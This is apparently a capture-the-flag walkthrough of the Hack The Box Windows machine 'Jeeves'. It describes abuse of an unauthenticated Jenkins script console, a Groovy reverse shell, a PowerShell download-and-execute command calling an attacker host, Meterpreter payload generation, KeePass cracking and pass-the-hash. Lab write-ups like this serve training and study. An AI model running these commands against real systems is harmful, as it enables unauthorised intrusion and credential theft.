Jeeves
OS: Windows
IP: 10.10.10.63
User Hash: e3232272596fb47950d59c4cf1e7066a
Root Hash: afbc5bd4b615a60648cec41c6ac92530
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Jenkins /script enabled unauthenticated on port 50000
Administrator hash stored in keepass file with weak password.
Nmap TCP
Nmap UDP:
Nikto:
Port 80
Port 50000
Dirb:
Port 80
Port 50000 brings back nothing.
Dirbuster
Nothing found on port 50000.
/askjeeves on port 50000
Enum4linux brought back nothing
Browsed to port 80 and it is a search bar which always gives you this:
Source code:
Response from initial web page.
Downloaded image and ran image though strings and binwalk which brought back nothing.
This is an image not a verbose error message which suggests it could be a troll.
Downloaded the main image and checked it to see if it had anything in it with strings.
Browsed to port 50000 and you get this:
Potential software version: Jetty:// 9.4.z-SNAPSHOT
​https://www.exploit-db.com/exploits/36318/​
dotdotpwn -m http -o windows -x 50000 -h 10.10.10.63
Also tried
​https://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html​
Not vulnerable
Come back to this.
Finally found some dirs
Dirbuster
Searchsploit brought back:
Metasploit brought back
None of them worked.
Found a way to execute commands via groovy script on webserver:
Found rvshell.groovy
​https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76​
Download to system with github and modify
Paste into the scriptconsole
Execute with 443 listening.
Use the following code to download files to the system
Convert to a meterpreter shell
git clone https://github.com/trustedsec/unicorn.gitcd unicornpython unicorn.py windows/meterpreter/reverse_tcp 192.168.0.1 443python -m SimpleHTTPServer 80
In new tab
mv powershell_attack.txt Shell.ps1msfconsole -r unicorn.rc
On victim machine from a command prompt.
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/Shell.ps1')"
Run local exploit suggester against the host
Drop into a shell and download tools
PowerUp.ps1
Service found
No exploits worked so far so start digging around the system
We found the following credentials in credentials.xml in the jenkins dir.
These are encrypted so run the following via the /script dir on the webserver and you get the password admin:
Search for other passwords
This once cracked gives you admin:admin which is of no use for privesc.
Digging around the file system we find a keepass file called CEH
Download the file locally and decrypt the password
Install kpcli
apt-get install kpcli libterm-readline-gnu-perl libdata-password-perl
Inspect all of the entries
Looks like a ntlm hash
Use passthehash to login to the system
Upload a windows shell via our low priv account and execute via pth-winexe
Interact with the meterpreter shell
Grab your flags:
View the data stream to read the root flag:
